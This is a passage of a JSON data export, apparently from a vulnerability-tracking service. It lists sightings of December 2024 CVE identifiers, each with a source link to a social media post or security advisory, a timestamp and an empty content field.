"ce072bbe-af62-4d3d-bf1a-fb76b800d9f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12026", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113609125984523478", "content": "", "creation_timestamp": "2024-12-07T02:14:49.655360Z"}, {"uuid": "1057e2a9-1753-47ab-b0ce-ac874492a9f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12057", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113624457107037209", "content": "", "creation_timestamp": "2024-12-09T19:13:44.998356Z"}, {"uuid": "571a8d9a-b11d-4f99-8bc0-2d394ebc527e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12369", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113624852492732843", "content": "", "creation_timestamp": "2024-12-09T20:54:16.963597Z"}, {"uuid": "b8d8ab14-020a-4680-9095-405a25ae4f08", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12393", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113625459353504569", "content": "", "creation_timestamp": "2024-12-09T23:28:36.860563Z"}, {"uuid": "5a65816b-6adc-4439-b662-78a94afffe5e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12323", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113629016269414104", "content": "", "creation_timestamp": "2024-12-10T14:33:11.559486Z"}, {"uuid": "e911dbaa-e255-49d1-95e2-3998b3bfb39c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12236", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113629164313708186", "content": "", "creation_timestamp": "2024-12-10T15:10:50.118738Z"}, {"uuid": "f41d154c-970a-4daf-8324-eb0bce10b9c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12286", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113629773421070243", "content": "", "creation_timestamp": "2024-12-10T17:46:41.745239Z"}, {"uuid": "53b0d8f7-a62f-4011-82b2-cec6f2bea6fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://infosec.exchange/users/jbhall56/statuses/113679807953214433", "content": "", "creation_timestamp": "2024-12-19T13:50:10.585079Z"}, {"uuid": "e54e13b0-9a3c-4036-bc44-d91165511b76", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12785", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldo62kkzbz2s", "content": "", "creation_timestamp": "2024-12-19T15:15:45.021218Z"}, {"uuid": "742adbc1-845c-4d0d-bf49-f19b96d0b704", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12789", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldoeqvyicw27", "content": "", "creation_timestamp": "2024-12-19T17:15:37.581359Z"}, {"uuid": "74e084e7-dd94-47f1-b2fb-966efe7e5cfc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12790", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldoeqygnvm2z", "content": "", "creation_timestamp": "2024-12-19T17:15:40.520236Z"}, {"uuid": "452f1153-7c7a-4f73-a9e8-9d477ebb35be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113680863936409244", "content": "", "creation_timestamp": "2024-12-19T18:18:44.046684Z"}, {"uuid": "4b606977-6a61-4a88-a2a8-42a8f047e3c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12111", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldoosd5my22v", "content": "", "creation_timestamp": "2024-12-19T20:15:22.705690Z"}, {"uuid": "3d6a8ba5-3097-4c55-8a64-f454abce5c83", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12727", "type": "seen", "source": "https://bsky.app/profile/bolhasec.com/post/3ldq2gmagbk2x", "content": "", "creation_timestamp": "2024-12-20T09:16:14.317322Z"}, {"uuid": "dfdf0aea-7f13-4177-8342-5f76ec6aa285", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12846", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lds5h6jcmv2z", "content": "", "creation_timestamp": "2024-12-21T05:15:34.175306Z"}, {"uuid": "e452760c-6d23-4b6d-a36a-4fcfe477281c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12686", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113675719318388901", "content": "", "creation_timestamp": "2024-12-18T20:30:23.957933Z"}, {"uuid": "5a795f32-e36f-434f-a9ef-bfdbcbce8436", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://bsky.app/profile/bolhasec.com/post/3ldnjxkvcza2x", "content": "", "creation_timestamp": "2024-12-19T09:16:10.892707Z"}, {"uuid": "a7bbf909-22e1-4f17-8908-cc06a97d5d5a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://bsky.app/profile/jbhall56.bsky.social/post/3ldnzbpuvyk2g", "content": "", "creation_timestamp": "2024-12-19T13:50:18.399575Z"}, {"uuid": "bffec56e-5a41-4374-b027-6dfc32530a23", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12798", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113680144577181941", "content": "", "creation_timestamp": "2024-12-19T15:15:47.215387Z"}, {"uuid": "822c5bd8-c089-479f-92fa-dbe896f52087", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12788", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldoeqtu5bb2g", "content": "", "creation_timestamp": "2024-12-19T17:15:35.450268Z"}, {"uuid": "3c5322c5-09dd-497d-8225-48457817a951", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12801", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldoer3462z2g", "content": "", "creation_timestamp": "2024-12-19T17:15:42.801299Z"}, {"uuid": "ebc876e8-80c6-4127-8dd1-d96ec8711d85", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12831", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1720/", "content": "", "creation_timestamp": "2024-12-19T05:00:00.000000Z"}, {"uuid": "5ddc37cd-2806-426d-9a6d-8485a573e87e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12830", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1718/", "content": "", "creation_timestamp": "2024-12-19T05:00:00.000000Z"}, {"uuid": "4dd343cf-685e-4a1a-a45e-29b0d99ee6e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12175", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1714/", "content": "", "creation_timestamp": "2024-12-19T05:00:00.000000Z"}, {"uuid": "f52da292-67d7-4104-b728-e45e984d18f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12700", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1712/", "content": "", "creation_timestamp": "2024-12-19T05:00:00.000000Z"}, {"uuid": "e32c5c2b-1967-4b6d-9cee-8b3240a6eb18", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://bsky.app/profile/innovirtuoso.bsky.social/post/3ldq2tyrox22h", "content": "", "creation_timestamp": "2024-12-20T09:23:44.115176Z"}, {"uuid": "c56f9faf-1f40-46b8-ac40-f2e3b6067e9b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12014", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113685288004309720", "content": "", "creation_timestamp": "2024-12-20T13:03:49.692516Z"}, {"uuid": "72e32105-0bf2-4140-b37e-d30ac7121ecc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://infosec.exchange/users/edwardk/statuses/113675746677327052", "content": "", "creation_timestamp": "2024-12-18T20:37:20.449080Z"}, {"uuid": "5662c01e-767f-4c71-bcfc-08ea2da45d4f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12569", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldnjyhdq7t2b", "content": "", "creation_timestamp": "2024-12-19T09:16:39.503364Z"}, {"uuid": "6af40375-e97d-4b7a-8c05-515dcace8b01", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://bsky.app/profile/tmjintel.bsky.social/post/3ldojp4iy5p2g", "content": "", "creation_timestamp": "2024-12-19T18:44:05.882386Z"}, {"uuid": "17f7cf47-7440-4bba-a3b5-7d4b51d7420b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12832", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1719/", "content": "", "creation_timestamp": "2024-12-19T05:00:00.000000Z"}, {"uuid": "c17b74d7-d338-49d5-8736-ff8e0bdbe0be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12506", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldptphdjvv2m", "content": "", "creation_timestamp": "2024-12-20T07:15:54.282986Z"}, {"uuid": "19e421ee-475a-48c4-a021-475799825278", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12014", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldqhsl6bfh2a", "content": "", "creation_timestamp": "2024-12-20T13:15:34.237625Z"}, {"uuid": "aced7c52-4970-45f7-91a0-dc31bf93facd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12727", "type": "seen", "source": "https://bsky.app/profile/allthebuzz.bsky.social/post/3ldqv5c366c2q", "content": "", "creation_timestamp": "2024-12-20T17:14:13.548599Z"}, {"uuid": "88cc684b-9ea0-4577-ba8b-96419bff6ac0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12728", "type": "seen", "source": "https://bsky.app/profile/allthebuzz.bsky.social/post/3ldqv5c366c2q", "content": "", "creation_timestamp": "2024-12-20T17:14:13.620589Z"}, {"uuid": "e47cf2f1-264e-4c9f-968f-6d7ed1591c5b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12845", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldrfyrf7zy2o", "content": "", "creation_timestamp": "2024-12-20T22:15:54.777090Z"}, {"uuid": "00b75d09-e753-40d8-a0c2-f1e9a43eef18", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12635", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldse634wtf25", "content": "", "creation_timestamp": "2024-12-21T07:15:44.164570Z"}, {"uuid": "9a57482f-9ede-4c67-8394-a753ced66db1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12771", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldse6f7fhc2m", "content": "", "creation_timestamp": "2024-12-21T07:15:54.847648Z"}, {"uuid": "d9c0836b-4ab6-4f4e-8fd4-5f2af78ab163", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12558", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldso7dstzc2k", "content": "", "creation_timestamp": "2024-12-21T10:15:24.480937Z"}, {"uuid": "93e10de0-d62f-4144-95f6-c52ebe7233ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12728", "type": "seen", "source": "https://bsky.app/profile/shadowstack.bsky.social/post/3ldtkihpum225", "content": "", "creation_timestamp": "2024-12-21T18:41:34.121820Z"}, {"uuid": "db7c593d-19f6-4990-969e-5d774c86545e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12729", "type": "seen", "source": "https://bsky.app/profile/shadowstack.bsky.social/post/3ldtkihpum225", "content": "", "creation_timestamp": "2024-12-21T18:41:34.159731Z"}, {"uuid": "f955b003-cb20-4572-a22e-83b7090a8ed0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12053", "type": "seen", "source": "https://www.thezdi.com/blog/2024/12/10/the-december-2024-security-update-review", "content": "", "creation_timestamp": "2024-12-10T17:33:56.000000Z"}, {"uuid": "a9cf91b5-7eb4-4e86-823d-94557c836f76", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12130", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-24-345-06", "content": "", "creation_timestamp": "2024-12-10T11:00:00.000000Z"}, {"uuid": "0fc687b6-34a9-4be7-a593-33808e1db0d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12212", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-24-345-05", "content": "", "creation_timestamp": "2024-12-10T11:00:00.000000Z"}, {"uuid": "84702bba-561f-418b-9800-acdc029177c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12286", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-24-345-01", "content": "", "creation_timestamp": "2024-12-10T11:00:00.000000Z"}, {"uuid": "22e61d49-7eb7-4bb4-8db5-75063e16b3bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12381", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113631019234576069", "content": "", "creation_timestamp": "2024-12-10T23:02:34.399341Z"}, {"uuid": "9b637eb2-deb2-45d0-b49f-7ff2e6235d36", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12382", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113631019234576069", "content": "", "creation_timestamp": "2024-12-10T23:02:34.461049Z"}, {"uuid": "597b4b40-33b4-48f5-9983-9565a67cc55d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12130", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1651/", "content": "", "creation_timestamp": "2024-12-10T05:00:00.000000Z"}, {"uuid": "549820fe-9e18-4c6d-bb01-fd7b89228a3f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12004", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113633372873751070", "content": "", "creation_timestamp": "2024-12-11T09:01:07.601456Z"}, {"uuid": "171e0afa-cca4-48d5-a85f-ecebe821f887", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12283", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113633372888255698", "content": "", "creation_timestamp": "2024-12-11T09:01:07.946745Z"}, {"uuid": "b8069731-d2d4-4ef8-a582-e3d14336ea6d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12363", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113633523015812139", "content": "", "creation_timestamp": "2024-12-11T09:39:18.786946Z"}, {"uuid": "28e6730e-94b5-4255-bff3-482611baf154", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12294", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113633848469166263", "content": "", "creation_timestamp": "2024-12-11T11:02:04.630421Z"}, {"uuid": "ae8b6cd7-8de0-4211-ab23-27bc7ab3ac83", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12325", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113633947633055212", "content": "", "creation_timestamp": "2024-12-11T11:27:17.894279Z"}, {"uuid": "d3278863-2487-4b70-8f9b-f3eff8c13c88", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12292", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113635140492482846", "content": "", "creation_timestamp": "2024-12-11T16:30:39.747067Z"}, {"uuid": "b1a49b50-ec6f-43ea-8faa-1411d658493e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12053", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113635299660498681", "content": "", "creation_timestamp": "2024-12-11T17:11:08.525857Z"}, {"uuid": "527b88e1-8165-4e80-8200-cc3824d64e98", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12381", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113635482541901664", "content": "", "creation_timestamp": "2024-12-11T17:57:38.895989Z"}, {"uuid": "a71f5039-7c70-4baf-bc5b-209aea14cb0d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12382", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113635482572610894", "content": "", "creation_timestamp": "2024-12-11T17:57:39.026465Z"}, {"uuid": "f2af3951-e889-4f5f-b64c-e75732af7f70", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12479", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113635658899727553", "content": "", "creation_timestamp": "2024-12-11T18:42:29.719663Z"}, {"uuid": "586b1640-1b63-4cba-9fa3-fbe530da489f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12381", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/113635802675057717", "content": "", "creation_timestamp": "2024-12-11T19:19:07.250083Z"}, {"uuid": "cf31f688-a1c5-41a6-afdc-059083775483", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12382", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/113635855731842345", "content": "", "creation_timestamp": "2024-12-11T19:32:32.986197Z"}, {"uuid": "aae510e2-8711-429a-a442-74fa6e47da8f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12481", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113635868893854140", "content": "", "creation_timestamp": "2024-12-11T19:35:53.912390Z"}, {"uuid": "1e66eab1-4c93-4b81-ae35-653568408166", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12482", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113635868908056139", "content": "", "creation_timestamp": "2024-12-11T19:35:54.138424Z"}, {"uuid": "2d0f6a4b-9718-42a7-b185-425e08d02015", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12483", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113636004095729120", "content": "", "creation_timestamp": "2024-12-11T20:10:17.574801Z"}, {"uuid": "c55c3d72-eb2d-4edc-a9f2-f928709ca1e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12484", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113636004110761751", "content": "", "creation_timestamp": "2024-12-11T20:10:17.637472Z"}, {"uuid": "b2666397-7180-4207-9359-3a9d6fe06189", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12485", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113636121231301243", "content": "", "creation_timestamp": "2024-12-11T20:40:04.458503Z"}, {"uuid": "f1ed6d47-5db7-47b9-993e-f969f4d32a57", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12486", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113636121248132427", "content": "", "creation_timestamp": "2024-12-11T20:40:05.039667Z"}, {"uuid": "326714b8-154c-4737-854e-8cc520f7f10b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12487", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113636224935347181", "content": "", "creation_timestamp": "2024-12-11T21:06:27.621180Z"}, {"uuid": "f13a363a-835e-4754-9670-4c6484248552", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12488", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113636333768821883", "content": "", "creation_timestamp": "2024-12-11T21:34:07.214567Z"}, {"uuid": "d34c05f9-7a58-4b4f-9d88-8ec272537331", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12490", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113636589321141271", "content": "", "creation_timestamp": "2024-12-11T22:39:06.730673Z"}, {"uuid": "a65ee16a-535e-4f85-87ba-d742891cffed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12536", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113637204182051809", "content": "", "creation_timestamp": "2024-12-12T01:15:29.013248Z"}, {"uuid": "cd921d58-bb98-4ba1-bb1c-ff9c3c6a9d2f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12547", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1681/", "content": "", "creation_timestamp": "2024-12-11T05:00:00.000000Z"}, {"uuid": "a7420b0a-4e06-4fd0-9baf-322349335386", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12548", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1680/", "content": "", "creation_timestamp": "2024-12-11T05:00:00.000000Z"}, {"uuid": "c57fbcc1-dbe8-49e7-bae2-1fbb8aff90db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12549", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1679/", "content": "", "creation_timestamp": "2024-12-11T05:00:00.000000Z"}, {"uuid": "69c13424-e3d3-437d-a98e-e50df920dffd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12550", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1678/", "content": "", "creation_timestamp": "2024-12-11T05:00:00.000000Z"}, {"uuid": "7249e62a-6963-4b46-b7f9-379d16c63909", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12551", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1677/", "content": "", "creation_timestamp": "2024-12-11T05:00:00.000000Z"}, {"uuid": "711d5c32-1646-484d-9a3e-e8222920884d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 